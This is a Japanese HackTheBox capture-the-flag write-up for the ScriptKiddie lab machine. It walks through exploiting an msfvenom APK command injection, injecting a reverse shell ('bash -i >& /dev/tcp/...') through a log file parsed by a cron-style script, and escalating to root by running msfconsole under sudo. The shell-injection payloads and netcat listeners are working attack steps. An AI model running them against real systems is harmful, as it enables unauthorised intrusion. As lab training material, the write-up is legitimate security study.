【HackTheBox】ScriptKiddie WriteUp

2023/02/20に公開

はじめに

今回はlinuxマシンのScriptKiddieをやっていきます。msfvenomに気が付かないといけないあたり少しCTFチックな感じがします。

https://app.hackthebox.com/machines/314

Enumeration

nmapポートスキャン

ポートスキャンから始めていきます。

nmap -sC -sV scriptkiddie.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-19 01:57 EST
Nmap scan report for scriptkiddie.htb (10.129.95.150)
Host is up (0.19s latency).
Other addresses for scriptkiddie.htb (not scanned): 10.129.95.150
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3c656bc2dfb99d627427a7b8a9d3252c (RSA)
|   256 b9a1785d3c1b25e03cef678d71d3a3ec (ECDSA)
|_  256 8bcf4182c6acef9180377cc94511e843 (ED25519)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-title: k1d5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.17 seconds

httpがあります。

websiteの確認

nmap

127.0.0.1を試します。

このnmapのversionは7.80です。

payloads

結果が見づらいのでとりあえず後回しにします。

sploits

searchsploitのようです。
testと打ってみました。

venom it upとあるのでmsfvenomも確認します。

https://www.exploit-db.com/exploits/49491
apkとあるのでこれをpayloadsで試すのかもしれません。

metasploitでpayloadの作成

LHOSTとLPORTをセットしてexploitを開始します。

msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run

[-] Exploit failed: cmd/unix/python/meterpreter/reverse_tcp: All encoders failed to encode.

動きませんでした、meterpreter/reverse_tcpがだめみたいですね

show payloads でペイロード一覧を表示し、38番を選択します。.

TCP (via AWK)
   38  payload/cmd/unix/reverse_bash                                          normal  No     Unix Command Shell, Reverse 

set payload 38

https://forum.hackthebox.com/t/metasploit-no-encoders-encoded-the-buffer-successfully/471/10

msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run

[+] msf.apk stored at /home/kali/.msf4/local/msf.apk

apkファイルが出来上がりました。

Foothold

shellの取得

Apkファイルはアンドロイド用なのでandroidを選択し、lhostには自分のipアドレスを入れます。
os: androld
lhost: 10.10.14.44
apk: さっき作ったファイル

kaliマシンにてリッスンします
nc -lnvp 1234

kidシェル

nc -lnvp 1234        
listening on [any] 1234 ...
connect to [10.10.14.44] from (UNKNOWN) [10.129.95.150] 41102
whoami
kid

フラッグを取ります。

Privilege escalation

enumeration

/html

app.pyというflaskファイルがあります。searchsploitの部分が気になりますね。

app.py

def searchsploit(text, srcip):
    if regex_alphanum.match(text):
        result = subprocess.check_output(['searchsploit', '--color', text])
        return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore'))
    else:
        with open('/home/kid/logs/hackers', 'a') as f:
            f.write(f'[{datetime.datetime.now()}] {srcip}\n')
        return render_template('index.html', sserror="stop hacking me - well hack you back")

logを書き込むようです。

logの確認

実際にpythonでどのような形式のログが取れるのか確かめます。

Python 3.11.1 (main, Dec 31 2022, 10:23:59) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import datetime
>>> srcip = '10.10.14.44'
>>> print(f'[{datetime.datetime.now()}] {srcip}\n')
[2023-02-19 08:52:44.141615] 10.10.14.44

/logs

hackersにログがあるはずなのですがありません、消されているみたいです。

-rw-rw-r--  1 kid pwn    0 Feb 19 12:33 hackers

pwnというユーザに移れそうです。

/pwn

pwnにはrecon fileとscanlosers.shがあります。

drwxrw---- 2 pwn  pwn  4096 Feb 19 12:50 recon
-rwxrwxr-- 1 pwn  pwn   250 Jan 28  2021 scanlosers.sh

reconは権限がありませんが、scanlosers.shは読むことができます。

scriptkiddie -> pwn

pwnへの移動を考えます。scanlosers.shファイルを見ます。

kid@scriptkiddie:/home/pwn$ cat scanlosers.sh
cat scanlosers.sh
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

コマンドインジェクションが使えます。

command injection

https://0xdf.gitlab.io/2021/06/05/htb-scriptkiddie.html
nmapをしてそのあとに、/bin/bashあたりができればpwnとしてのshellが起動するはずです。

command injection test

まずはちゃんとログが書かれているのかをテストします。

echo "[2021-05-28 12:37:32.655374] 10.10.14.15" > hackers; cat hackers; echo sleep; sleep 1; cat hackers; echo done

次にコマンド部分が何をしているのかを確認します。
sh -c "" 部分はnmapを実行してその結果を書き込んでいるみたいですね。

cut -d' ' -f3-

はスペースで分かれている部分の3つ目からすべて表示します。

echo "x x x 127.0.0.1; ping -c 1 10.10.14.15 #" | cut -d' ' -f3-

の結果は

x 127.0.0.1; ping -c 1 10.10.14.15 #                                 

となります。

実際に実行されるコードは

 sh -c "nmap --top-ports 10 -oN recon/x 127.0.0.1; ping -c 1 10.10.14.15 #.nmap ${ip} 2>&1 >/dev/null" &

となります。 pingコマンド以降はコメントアウトされるので無視されます。

scriptkiddieマシンで以下を実行し、
echo "x x x 127.0.0.1; ping -c 1 10.10.14.15 #" > hackers

kaliマシンで以下のように待てば、pingの結果を受け取ることができます。
sudo tcpdump -i tun0 icmp

Reverse shell payload

実際にシェルを奪うペイロードはこの通りです。

echo "x x x 127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.44/1234 0>&1' # ." > hackers

kaliで
nc -lvpn 1234で待てばpwnが取れます。

pwn -> root

pwnからrootはとても簡単です。

sudo -l

pwn@scriptkiddie:~$ sudo -l
sudo -l
Matching Defaults entries for pwn on scriptkiddie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pwn may run the following commands on scriptkiddie:
    (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole

msfconsoleをroot権限で実行できます。

metasploit

sudo /opt/metasploit-framework-6.0.9/msfconsole

get shell

root権限で実行しているのでそのままbinbashします。
msf6 > /bin/bash

root flag

go to /root/root.txt

Discussion